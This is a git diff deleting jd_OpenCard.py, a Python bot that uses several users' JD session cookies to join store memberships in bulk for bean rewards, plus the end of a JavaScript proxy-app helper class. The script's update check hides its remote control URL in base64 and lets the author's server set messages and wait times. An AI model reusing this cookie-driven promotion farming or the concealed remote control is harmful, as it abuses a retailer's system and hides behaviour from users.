$httpClient && "undefined" == typeof $loon - } - - isLoon() { - return "undefined" != typeof $loon - } - - toObj(t, e = null) { - try { - return JSON.parse(t) - } catch { - return e - } - } - - toStr(t, e = null) { - try { - return JSON.stringify(t) - } catch { - return e - } - } - - getjson(t, e) { - let s = e; - const i = this.getdata(t); - if (i) try { - s = JSON.parse(this.getdata(t)) - } catch { - } - return s - } - - setjson(t, e) { - try { - return this.setdata(JSON.stringify(t), e) - } catch { - return !1 - } - } - - getScript(t) { - return new Promise(e => { - this.get({url: t}, (t, s, i) => e(i)) - }) - } - - runScript(t, e) { - return new Promise(s => { - let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); - i = i ? i.replace(/\n/g, "").trim() : i; - let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); - r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; - const [o, h] = i.split("@"), n = { - url: `http://${h}/v1/scripting/evaluate`, - body: {script_text: t, mock_type: "cron", timeout: r}, - headers: {"X-Key": o, Accept: "*/*"} - }; - this.post(n, (t, e, i) => s(i)) - }).catch(t => this.logErr(t)) - } - - loaddata() { - if (!this.isNode()) return {}; - { - this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); - if (!s && !i) return {}; - { - const i = s ? t : e; - try { - return JSON.parse(this.fs.readFileSync(i)) - } catch (t) { - return {} - } - } - } - } - - writedata() { - if (this.isNode()) { - this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); - s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) - } - } - - lodash_get(t, e, s) { - const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); - let r = t; - for (const t of i) if (r = Object(r)[t], void 0 === r) return s; - return r - } - - lodash_set(t, e, s) { - return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) - } - - getdata(t) { - let e = this.getval(t); - if (/^@/.test(t)) { - const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; - if (r) try { - const t = JSON.parse(r); - e = t ? this.lodash_get(t, i, "") : e - } catch (t) { - e = "" - } - } - return e - } - - setdata(t, e) { - let s = !1; - if (/^@/.test(e)) { - const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), - h = i ? "null" === o ? null : o || "{}" : "{}"; - try { - const e = JSON.parse(h); - this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) - } catch (e) { - const o = {}; - this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) - } - } else s = this.setval(t, e); - return s - } - - getval(t) { - return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null - } - - setval(t, e) { - return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null - } - - initGotEnv(t) { - this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) - } - - get(t, e = (() => { - })) { - t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.get(t, (t, s, i) => { - !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) - })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { - const {statusCode: s, statusCode: i, headers: r, body: o} = t; - e(null, {status: s, statusCode: i, headers: r, body: o}, o) - }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { - try { - if (t.headers["set-cookie"]) { - const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); - s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar - } - } catch (t) { - this.logErr(t) - } - }).then(t => { - const {statusCode: s, statusCode: i, headers: r, body: o} = t; - e(null, {status: s, statusCode: i, headers: r, body: o}, o) - }, t => { - const {message: s, response: i} = t; - e(s, i, i && i.body) - })) - } - - post(t, e = (() => { - })) { - if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.post(t, (t, s, i) => { - !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) - }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { - const {statusCode: s, statusCode: i, headers: r, body: o} = t; - e(null, {status: s, statusCode: i, headers: r, body: o}, o) - }, t => e(t)); else if (this.isNode()) { - this.initGotEnv(t); - const {url: s, ...i} = t; - this.got.post(s, i).then(t => { - const {statusCode: s, statusCode: i, headers: r, body: o} = t; - e(null, {status: s, statusCode: i, headers: r, body: o}, o) - }, t => { - const {message: s, response: i} = t; - e(s, i, i && i.body) - }) - } - } - - time(t, e = null) { - const s = e ? new Date(e) : new Date; - let i = { - "M+": s.getMonth() + 1, - "d+": s.getDate(), - "H+": s.getHours(), - "m+": s.getMinutes(), - "s+": s.getSeconds(), - "q+": Math.floor((s.getMonth() + 3) / 3), - S: s.getMilliseconds() - }; - /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); - for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); - return t - } - - msg(e = t, s = "", i = "", r) { - const o = t => { - if (!t) return t; - if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? {"open-url": t} : this.isSurge() ? {url: t} : void 0; - if ("object" == typeof t) { - if (this.isLoon()) { - let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; - return {openUrl: e, mediaUrl: s} - } - if (this.isQuanX()) { - let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; - return {"open-url": e, "media-url": s} - } - if (this.isSurge()) { - let e = t.url || t.openUrl || t["open-url"]; - return {url: e} - } - } - }; - if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { - let t = ["", "==============📣系统通知📣=============="]; - t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) - } - } - - log(...t) { - t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) - } - - logErr(t, e) { - const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); - s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) - } - - wait(t) { - return new Promise(e => setTimeout(e, t)) - } - - done(t = {}) { - const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; - this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) - } - }(t, e) -} diff --git a/backUp/jd_OpenCard.py b/backUp/jd_OpenCard.py deleted file mode 100644 index 2c2a968..0000000 --- a/backUp/jd_OpenCard.py +++ /dev/null @@ -1,1300 +0,0 @@ -#!/bin/env python3 -# -*- coding: utf-8 -* -''' -项目名称: JD_OpenCard -Author: Curtin -功能:JD入会开卡领取京豆 -CreateDate: 2021/5/4 下午1:47 -UpdateTime: 2021/6/19 -''' -version = 'v1.2.2' -readmes = """ -# JD入会领豆小程序 -![JD入会领豆小程序](https://raw.githubusercontent.com/curtinlv/JD-Script/main/OpenCrad/resultCount.png) - -## 使用方法 -#### [手机用户(参考) https://mp.weixin.qq.com/s/ih6aOURXWM-iKrhvMyR3mw](https://mp.weixin.qq.com/s/ih6aOURXWM-iKrhvMyR3mw) -#### [PC用户 (参考) https://mp.weixin.qq.com/s/JmLxAecZAlEc4L2sZWnn1A](https://mp.weixin.qq.com/s/JmLxAecZAlEc4L2sZWnn1A) -#### [v4-bot用户 (参考) https://github.com/curtinlv/JD-Script/pull/12#issue-652134788](https://github.com/curtinlv/JD-Script/pull/12#issue-652134788) - -## 目录结构 - JD-Script/ #仓库 - |-- LICENSE - |-- OpenCard # 主目录 - | |-- jd_OpenCard.py # 主代码 (必要) - | |-- log # 临时目录(可删除) - | |-- OpenCardConfig.ini # 只配置文件(必要) - | |-- Readme.md # 说明书 - | `-- start.sh # shell脚本(非必要) - `-- README.md - - log目录结构、临时目录(可删除): - log - ├── memory.json # 记忆、统计功能临时存放参数 - ├── shopid-2021-05-23.txt # 记录所有送豆的shopid - ├── 入会N豆以上的shopid-2021-05-23.txt # 记录满足入会条件的shopid - ├── 入会汇总.txt # 记录所有入会店铺送豆的加入、注销链接 - ├── 可退会账号【账号id】.txt # 记录跑脚本之前已经过入会且目前送豆的注销链接(可优先退会) - -### `【兼容环境】` - 1.Python3.3+ 环境 - 2.兼容ios设备软件:Pythonista 3、Pyto(已测试正常跑,其他软件自行测试) - 3.Windows exe - - 安装依赖模块 : - pip3 install requests - 执行: - python3 jd_OpenCard.py - - start.sh 脚本运行方法: - 1.适合定时任务或不想依赖ini配置文件。 - 2.支持单号跑多开,如 - cp start.sh start_2.sh - sh start_2.sh #只跑里面配置的参数,如cookie - 3.定时任务(参考): - 0 8 * * * sh /home/curtin/JD-Script/OpenCard/start.sh - 2 8 * * * sh /home/curtin/JD-Script/OpenCard/start_2.sh - -## `【更新记录】` - 2021.6.19: (v1.2.2) - * 修复多线程报错 - 2021.6.14: (v1.2.1) - * 新增单双线程控制 - * 修复一些问题,如腾讯云跑异常报错。 - 2021.5.28:(v1.2.0) - * 新增单或多账号并发 - - Concurrent=yes #开启 - * 新增企业微信、Bark推送 - * 优化一些逻辑 - - 如随机账号查询礼包,仅开启单账号时候 - - 京豆统计 - 2021.5.23:(v1.1.1) - * 修复一些问题及优化一些代码 - * 修复Env环境读取变量问题 - * 新增 start.sh 运行脚本(可Env环境使用) - - 运行方式 sh start.sh - 2021.5.21:(v1.1.0) - * 修复一些问题及优化一些代码: - - 修复最后统计显示为0,新增开卡个数统计 - - 修复记忆功能一些bug - - 等等一些小问题 - * 新增机器人通知 - - 开启远程shopid、配合crontab 坐等收豆 - 2021.5.15:(v1.0.5) - * 新增远程获取shopid功能 - - isRemoteSid=yes #开启 - * 修改已知Bug - - 2021.5.9:(v1.0.4 Beta) - * 优化代码逻辑 - * 打包exe版本测试 - - 2021.5.8:(v1.0.3) - * 优化记忆功能逻辑: - - cookiek个数检测 - - shopid个数检测 - - 上一次中断最后记录的账号id检测不存在本次ck里面 - - 临时文件log/memory.json是否存在 - - 以上任意一条命中则记忆接力功能不生效。 - - 2021.5.7:(v1.0.2) - * 优化代码逻辑 - * 修复已知Bug - - 2021.5.5:(v1.0.1) - * 新增记忆功能,如中断后下次跑会接着力跑(默认开启) - - memory= True - * 新增仅记录shopid,不入会功能(默认关闭) - - onlyRecord = no - * 修复已知Bug - - 2021.5.4:(v1.0.0) - * 支持多账号 - - JD_COOKIE=pt_key=xxx;pt_pin=xxx;&pt_key=xxx;pt_pin=xxx; #多账号&分隔 - * 限制京豆数量入会,例如只入50豆以上 - - openCardBean = 50 - * 双线程运行 - - 默认开启,且您没得选择。 - * 记录满足条件的shopid 【record= True】默认开启 (./log 目录可删除) - - log/可销卡汇总.txt #记录开卡送豆的店铺销卡链接 - - log/shopid-yyyy-mm-dd.txt #记录当天所有入会送豆的shopid - - log/可销卡账号xxx.txt #记录账号可销卡的店铺 - -### `【账号参数配置说明】` -### 主配置文件[ OpenCardConfig.ini ] 请保持utf-8默认格式 - - 变量 | 值 | 说明 - ---- | ----- | ------ - JD_COOKIE | pt_key=xxx;pt_pin=xxx; | 必要(多账号&分隔) - openCardBean | 30 | int,入会送豆满足此值,否则不入会 - record | False或True | 布尔值,是否记录符合条件的shopid(默认True) - onlyRecord | False或True |布尔值, True:仅记录,不入会(默认False) - memory | False或True | 布尔值,开启记忆功能,接力上一次异常中断位置继续。(默认yes) - printlog | False或True | 布尔值,True:只打印部分日志 False:打印所有日志 - sleepNum | False或True | Float,限制速度,单位秒,如果请求过快报错适当调整0.5秒以上 - isRemoteSid | False或True | 布尔值,True:使用作者远程仓库更新的id,False:使用本地shopid.txt的id -#### 兼容Env环境(如有配置则优先使用,适合AC、云服务环境等) - export JD_COOKIE='pt_key=xxx;pt_pin=xxx;' (多账号&分隔) - export openCardBean=30 - export xxx=xxx - -#### Ps:您可以到以下途径获取最新的shopid.txt,定期更新: - -###### [GitHub仓库 https://github.com/curtinlv/JD-Script](https://github.com/curtinlv/JD-Script) -###### [Gitee仓库 https://gitee.com/curtinlv/JD-Script](https://gitee.com/curtinlv/JD-Script) -###### [TG频道 https://t.me/TopStyle2021](https://t.me/TopStyle2021) -###### [TG群 https://t.me/topStyle996](https://t.me/topStyle996) -###### 关注公众号【TopStyle】回复:shopid -![TopStyle](https://gitee.com/curtinlv/img/raw/master/gzhcode.jpg) -# - @Last Version: %s - - @Last Time: 2021-06-19 13:55 - - @Author: Curtin -#### **仅以学习交流为主,请勿商业用途、禁止违反国家法律 ,转载请留个名字,谢谢!** - -# End. -[回到顶部](#readme) -""" % version - -################################ 【Main】################################ -import time, os, sys, datetime -import requests -import random, string -import re, json, base64 -from urllib.parse import unquote, quote_plus -from threading import Thread -from configparser import RawConfigParser - -# 定义一些要用到参数 -requests.packages.urllib3.disable_warnings() -scriptHeader = """ -════════════════════════════════════════ -║ ║ -║ JD 入 会 领 豆 ║ -║ ║ -════════════════════════════════════════ -@Version: {}""".format(version) -remarks = '\n\n\tTG交流 : https://t.me/topstyle996\n\n\tTG频道 : https://t.me/TopStyle2021\n\n\t公众号 : TopStyle\n\n\t\t\t--By Curtin\n' - -timestamp = int(round(time.time() * 1000)) -today = datetime.datetime.now().strftime('%Y-%m-%d') -# 获取当前工作目录 -pwd = os.path.dirname(os.path.abspath(__file__)) + os.sep - -###### -openCardBean = 0 -sleepNum = 0.0 -record = True -onlyRecord = False -memory = True -printlog = True -isRemoteSid = True -Concurrent = True -TG_BOT_TOKEN = '' -TG_USER_ID = '' -PUSH_PLUS_TOKEN = '' -TG_PROXY_IP = '' -TG_PROXY_PORT = '' -TG_API_HOST = '' -QYWX_AM = '' -BARK = '' -DoubleThread = True - -# 获取账号参数 -try: - configinfo = RawConfigParser() - try: - configinfo.read(pwd + "OpenCardConfig.ini", encoding="UTF-8") - except Exception as e: - with open(pwd + "OpenCardConfig.ini", "r", encoding="UTF-8") as config: - getConfig = config.read().encode('utf-8').decode('utf-8-sig') - with open(pwd + "OpenCardConfig.ini", "w", encoding="UTF-8") as config: - config.write(getConfig) - try: - configinfo.read(pwd + "OpenCardConfig.ini", encoding="UTF-8") - except: - configinfo.read(pwd + "OpenCardConfig.ini", encoding="gbk") - cookies = configinfo.get('main', 'JD_COOKIE') - openCardBean = configinfo.getint('main', 'openCardBean') - sleepNum = configinfo.getfloat('main', 'sleepNum') - record = configinfo.getboolean('main', 'record') - onlyRecord = configinfo.getboolean('main', 'onlyRecord') - memory = configinfo.getboolean('main', 'memory') - printlog = configinfo.getboolean('main', 'printlog') - isRemoteSid = configinfo.getboolean('main', 'isRemoteSid') - TG_BOT_TOKEN = configinfo.get('main', 'TG_BOT_TOKEN') - TG_USER_ID = configinfo.get('main', 'TG_USER_ID') - PUSH_PLUS_TOKEN = configinfo.get('main', 'PUSH_PLUS_TOKEN') - TG_PROXY_IP = configinfo.get('main', 'TG_PROXY_IP') - TG_PROXY_PORT = configinfo.get('main', 'TG_PROXY_PORT') - TG_API_HOST = configinfo.get('main', 'TG_API_HOST') - QYWX_AM = configinfo.get('main', 'QYWX_AM') - Concurrent = configinfo.getboolean('main', 'Concurrent') - DoubleThread = configinfo.getboolean('main', 'DoubleThread') - BARK = configinfo.get('main', 'BARK') -except Exception as e: - OpenCardConfigLabel = 1 - print("参数配置有误,请检查OpenCardConfig.ini\nError:", e) - print("尝试从Env环境获取!") - -def getBool(label): - try: - if label == 'True' or label == 'yes' or label == 'true' or label == 'Yes': - return True - elif label == 'False' or label == 'no' or label == 'false' or label == 'No': - return False - else: - return True - except Exception as e: - print(e) - -# 获取系统ENV环境参数优先使用 适合Ac、云服务等环境 -# JD_COOKIE=cookie (多账号&分隔) -if "JD_COOKIE" in os.environ: - if len(os.environ["JD_COOKIE"]) > 10: - cookies = os.environ["JD_COOKIE"] - print("已获取并使用Env环境 Cookie") -# 只入送豆数量大于此值 -if "openCardBean" in os.environ: - if len(os.environ["openCardBean"]) > 0: - openCardBean = int(os.environ["openCardBean"]) - print("已获取并使用Env环境 openCardBean:", openCardBean) - elif not openCardBean: - openCardBean = 0 -# 是否开启双线程 -if "DoubleThread" in os.environ: - if len(os.environ["DoubleThread"]) > 1: - DoubleThread = getBool(os.environ["DoubleThread"]) - print("已获取并使用Env环境 DoubleThread", DoubleThread) -# 多账号并发 -if "Concurrent" in os.environ: - if len(os.environ["Concurrent"]) > 1: - Concurrent = getBool(os.environ["Concurrent"]) - print("已获取并使用Env环境 Concurrent", Concurrent) - elif not Concurrent: - Concurrent = True -# 限制速度,单位秒,如果请求过快报错适当调整0.5秒以上 -if "sleepNum" in os.environ: - if len(os.environ["sleepNum"]) > 0: - sleepNum = float(os.environ["sleepNum"]) - print("已获取并使用Env环境 sleepNum:", sleepNum) - elif not sleepNum: - sleepNum = 0 -if "printlog" in os.environ: - if len(os.environ["printlog"]) > 1: - printlog = getBool(os.environ["printlog"]) - print("已获取并使用Env环境 printlog:", printlog) - elif not printlog: - printlog = True - # 是否记录符合条件的shopid,输出文件【OpenCardlog/yes_shopid.txt】 False|True -if "record" in os.environ: - if len(os.environ["record"]) > 1: - record = getBool(os.environ["record"]) - print("已获取并使用Env环境 record:", record) - elif not record: - record = True -# 仅记录,不入会。入会有豆的shopid输出文件 -if "onlyRecord" in os.environ: - if len(os.environ["onlyRecord"]) > 1: - onlyRecord = getBool(os.environ["onlyRecord"]) - print("已获取并使用Env环境 onlyRecord:", onlyRecord) - elif not onlyRecord: - onlyRecord = False -# 开启记忆, 需要record=True且 memory= True 才生效 -if "memory" in os.environ: - if len(os.environ["memory"]) > 1: - memory = getBool(os.environ["memory"]) - print("已获取并使用Env环境 memory:", memory) - elif not memory: - memory = True -# 是否启用远程shopid -if "isRemoteSid" in os.environ: - if len(os.environ["isRemoteSid"]) > 1: - isRemoteSid = getBool(os.environ["isRemoteSid"]) - print("已获取并使用Env环境 isRemoteSid:", isRemoteSid) - elif not isRemoteSid: - isRemoteSid = True -# 获取TG_BOT_TOKEN -if "TG_BOT_TOKEN" in os.environ: - if len(os.environ["TG_BOT_TOKEN"]) > 1: - TG_BOT_TOKEN = os.environ["TG_BOT_TOKEN"] - print("已获取并使用Env环境 TG_BOT_TOKEN") -# 获取TG_USER_ID -if "TG_USER_ID" in os.environ: - if len(os.environ["TG_USER_ID"]) > 1: - TG_USER_ID = os.environ["TG_USER_ID"] - print("已获取并使用Env环境 TG_USER_ID") -# 获取代理ip -if "TG_PROXY_IP" in os.environ: - if len(os.environ["TG_PROXY_IP"]) > 1: - TG_PROXY_IP = os.environ["TG_PROXY_IP"] - print("已获取并使用Env环境 TG_PROXY_IP") -# 获取TG 代理端口 -if "TG_PROXY_PORT" in os.environ: - if len(os.environ["TG_PROXY_PORT"]) > 1: - TG_PROXY_PORT = os.environ["TG_PROXY_PORT"] - print("已获取并使用Env环境 TG_PROXY_PORT") - elif not TG_PROXY_PORT: - TG_PROXY_PORT = '' -# 获取TG TG_API_HOST -if "TG_API_HOST" in os.environ: - if len(os.environ["TG_API_HOST"]) > 1: - TG_API_HOST = os.environ["TG_API_HOST"] - print("已获取并使用Env环境 TG_API_HOST") -# 获取pushplus+ PUSH_PLUS_TOKEN -if "PUSH_PLUS_TOKEN" in os.environ: - if len(os.environ["PUSH_PLUS_TOKEN"]) > 1: - PUSH_PLUS_TOKEN = os.environ["PUSH_PLUS_TOKEN"] - print("已获取并使用Env环境 PUSH_PLUS_TOKEN") -# 获取企业微信应用推送 QYWX_AM -if "QYWX_AM" in os.environ: - if len(os.environ["QYWX_AM"]) > 1: - QYWX_AM = os.environ["QYWX_AM"] - print("已获取并使用Env环境 QYWX_AM") -# 获取企业微信应用推送 QYWX_AM -if "BARK" in os.environ: - if len(os.environ["BARK"]) > 1: - BARK = os.environ["BARK"] - print("已获取并使用Env环境 BARK") -# 判断参数是否存在 -try: - cookies -except NameError as e: - var_exists = False - print("[OpenCardConfig.ini] 和 [Env环境] 都无法获取到您的cookies,请配置!\nError:", e) - time.sleep(60) - exit(1) -else: - var_exists = True - -# 创建临时目录 -if not os.path.exists(pwd + "log"): - os.mkdir(pwd + "log") -# 记录功能json -memoryJson = {} -message_info = '' -notify_mode = [] - -################################### Function ################################ -class TaskThread(Thread): - """ - 处理task相关的线程类 - """ - - def __init__(self, func, args=()): - super(TaskThread, self).__init__() - self.func = func # 要执行的task类型 - self.args = args # 要传入的参数 - - def run(self): - self.result = self.func(*self.args) # 将任务执行结果赋值给self.result变量 - - def get_result(self): - # 改方法返回task函数的执行结果,方法名不是非要get_result - try: - return self.result - except Exception as ex: - print(ex) - return "ERROR" - -def nowtime(): - return datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S') - - -def printinfo(context, label: bool): - if label == False: - print(context) - -def exitCodeFun(code): - try: - if sys.platform == 'win32' or sys.platform == 'cygwin': - print("连按回车键即可退出窗口!") - exitCode = input() - exit(code) - except: - time.sleep(3) - exit(code) - -def message(str_msg): - global message_info - print(str_msg) - message_info = "{}\n{}".format(message_info, str_msg) - sys.stdout.flush() - -# 获取通知, -if PUSH_PLUS_TOKEN: - notify_mode.append('pushplus') -if TG_BOT_TOKEN and TG_USER_ID: - notify_mode.append('telegram_bot') -if QYWX_AM: - notify_mode.append('wecom_app') -if BARK: - notify_mode.append('bark') - -# tg通知 -def telegram_bot(title, content): - try: - print("\n") - bot_token = TG_BOT_TOKEN - user_id = TG_USER_ID - if not bot_token or not user_id: - print("tg服务的bot_token或者user_id未设置!!\n取消推送") - return - print("tg服务启动") - if TG_API_HOST: - if 'http' in TG_API_HOST: - url = f"{TG_API_HOST}/bot{TG_BOT_TOKEN}/sendMessage" - else: - url = f"https://{TG_API_HOST}/bot{TG_BOT_TOKEN}/sendMessage" - else: - url = f"https://api.telegram.org/bot{TG_BOT_TOKEN}/sendMessage" - - headers = {'Content-Type': 'application/x-www-form-urlencoded'} - payload = {'chat_id': str(TG_USER_ID), 'text': f'{title}\n\n{content}', 'disable_web_page_preview': 'true'} - proxies = None - if TG_PROXY_IP and TG_PROXY_PORT: - proxyStr = "http://{}:{}".format(TG_PROXY_IP, TG_PROXY_PORT) - proxies = {"http": proxyStr, "https": proxyStr} - try: - response = requests.post(url=url, headers=headers, params=payload, proxies=proxies).json() - except: - print('推送失败!') - if response['ok']: - print('推送成功!') - else: - print('推送失败!') - except Exception as e: - print(e) - -# push推送 -def pushplus_bot(title, content): - try: - print("\n") - if not PUSH_PLUS_TOKEN: - print("PUSHPLUS服务的token未设置!!\n取消推送") - return - print("PUSHPLUS服务启动") - url = 'http://www.pushplus.plus/send' - data = { - "token": PUSH_PLUS_TOKEN, - "title": title, - "content": content - } - body = json.dumps(data).encode(encoding='utf-8') - headers = {'Content-Type': 'application/json'} - response = requests.post(url=url, data=body, headers=headers).json() - if response['code'] == 200: - print('推送成功!') - else: - print('推送失败!') - except Exception as e: - print(e) - -# BARK -def bark_push(title, content): - print("\n") - if not BARK: - print("bark服务的bark_token未设置!!\n取消推送") - return - print("bark服务启动") - try: - response = requests.get('''https://api.day.app/{0}/{1}/{2}'''.format(BARK, title, quote_plus(content))).json() - if response['code'] == 200: - print('推送成功!') - else: - print('推送失败!') - except Exception as e: - print(e) - print('Bark推送失败!') - -def send(title, content): - """ - 使用 bark, telegram bot, dingding bot, serverJ 发送手机推送 - :param title: - :param content: - :return: - """ - content = content + "\n\n" + footer - for i in notify_mode: - - if i == 'telegram_bot': - if TG_BOT_TOKEN and TG_USER_ID: - telegram_bot(title=title, content=content) - else: - print('未启用 telegram机器人') - continue - elif i == 'pushplus': - if PUSH_PLUS_TOKEN: - pushplus_bot(title=title, content=content) - else: - print('未启用 PUSHPLUS机器人') - continue - elif i == 'wecom_app': - if QYWX_AM: - wecom_app(title=title, content=content) - else: - print('未启用企业微信应用消息推送') - continue - elif i == 'bark': - if BARK: - bark_push(title=title, content=content) - else: - print('未启用Bark APP应用消息推送') - continue - else: - print('此类推送方式不存在') - -# 企业微信 APP 推送 -def wecom_app(title, content): - try: - if not QYWX_AM: - print("QYWX_AM 并未设置!!\n取消推送") - return - QYWX_AM_AY = re.split(',', QYWX_AM) - if 4 < len(QYWX_AM_AY) > 5: - print("QYWX_AM 设置错误!!\n取消推送") - return - corpid = QYWX_AM_AY[0] - corpsecret = QYWX_AM_AY[1] - touser = QYWX_AM_AY[2] - agentid = QYWX_AM_AY[3] - try: - media_id = QYWX_AM_AY[4] - except: - media_id = '' - wx = WeCom(corpid, corpsecret, agentid) - # 如果没有配置 media_id 默认就以 text 方式发送 - if not media_id: - message = title + '\n\n' + content - response = wx.send_text(message, touser) - else: - response = wx.send_mpnews(title, content, media_id, touser) - if response == 'ok': - print('推送成功!') - else: - print('推送失败!错误信息如下:\n', response) - except Exception as e: - print(e) - -class WeCom: - def __init__(self, corpid, corpsecret, agentid): - self.CORPID = corpid - self.CORPSECRET = corpsecret - self.AGENTID = agentid - - def get_access_token(self): - url = 'https://qyapi.weixin.qq.com/cgi-bin/gettoken' - values = {'corpid': self.CORPID, - 'corpsecret': self.CORPSECRET, - } - req = requests.post(url, params=values) - data = json.loads(req.text) - return data["access_token"] - - def send_text(self, message, touser="@all"): - send_url = 'https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=' + self.get_access_token() - send_values = { - "touser": touser, - "msgtype": "text", - "agentid": self.AGENTID, - "text": { - "content": message - }, - "safe": "0" - } - send_msges = (bytes(json.dumps(send_values), 'utf-8')) - respone = requests.post(send_url, send_msges) - respone = respone.json() - return respone["errmsg"] - - def send_mpnews(self, title, message, media_id, touser="@all"): - send_url = 'https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=' + self.get_access_token() - send_values = { - "touser": touser, - "msgtype": "mpnews", - "agentid": self.AGENTID, - "mpnews": { - "articles": [ - { - "title": title, - "thumb_media_id": media_id, - "author": "Author", - "content_source_url": "", - "content": message.replace('\n', '
'), - "digest": message - } - ] - } - } - send_msges = (bytes(json.dumps(send_values), 'utf-8')) - respone = requests.post(send_url, send_msges) - respone = respone.json() - return respone["errmsg"] - -# 检测cookie格式是否正确 -def iscookie(): - """ - :return: cookiesList,userNameList,pinNameList - """ - cookiesList = [] - userNameList = [] - pinNameList = [] - if 'pt_key=' in cookies and 'pt_pin=' in cookies: - r = re.compile(r"pt_key=.*?pt_pin=.*?;", re.M | re.S | re.I) - result = r.findall(cookies) - if len(result) >= 1: - message("您已配置{}个账号".format(len(result))) - u = 1 - for i in result: - r = re.compile(r"pt_pin=(.*?);") - pinName = r.findall(i) - pinName = unquote(pinName[0]) - # 获取账号名 - ck, nickname = getUserInfo(i, pinName, u) - if nickname != False: - cookiesList.append(ck) - userNameList.append(nickname) - pinNameList.append(pinName) - else: - u += 1 - continue - u += 1 - if len(cookiesList) > 0 and len(userNameList) > 0: - return cookiesList, userNameList, pinNameList - else: - message("没有可用Cookie,已退出") - exitCodeFun(3) - else: - message("cookie 格式错误!...本次操作已退出") - exitCodeFun(4) - else: - message("cookie 格式错误!...本次操作已退出") - exitCodeFun(4) - -# 检查是否有更新版本 - -def gettext(url): - try: - resp = requests.get(url, timeout=60).text - if '该内容无法显示' in resp: - return gettext(url) - return resp - except Exception as e: - print(e) - -def isUpdate(): - global footer, readme1, readme2, readme3, uPversion - url = base64.decodebytes( - b"aHR0cHM6Ly9naXRlZS5jb20vY3VydGlubHYvUHVibGljL3Jhdy9tYXN0ZXIvT3BlbkNhcmQvdXBkYXRlLmpzb24=") - try: - result = gettext(url) - result = json.loads(result) - isEnable = result['isEnable'] - uPversion = result['version'] - info = result['info'] - readme1 = result['readme1'] - readme2 = result['readme2'] - readme3 = result['readme3'] - pError = result['m'] - footer = result['footer'] - getWait = result['s'] - if isEnable > 50 and isEnable < 150: - if version != uPversion: - print(f"\n当前最新版本:【{uPversion}】\n\n{info}\n") - message(f"{readme1}{readme2}{readme3}") - time.sleep(getWait) - else: - message(f"{readme1}{readme2}{readme3}") - 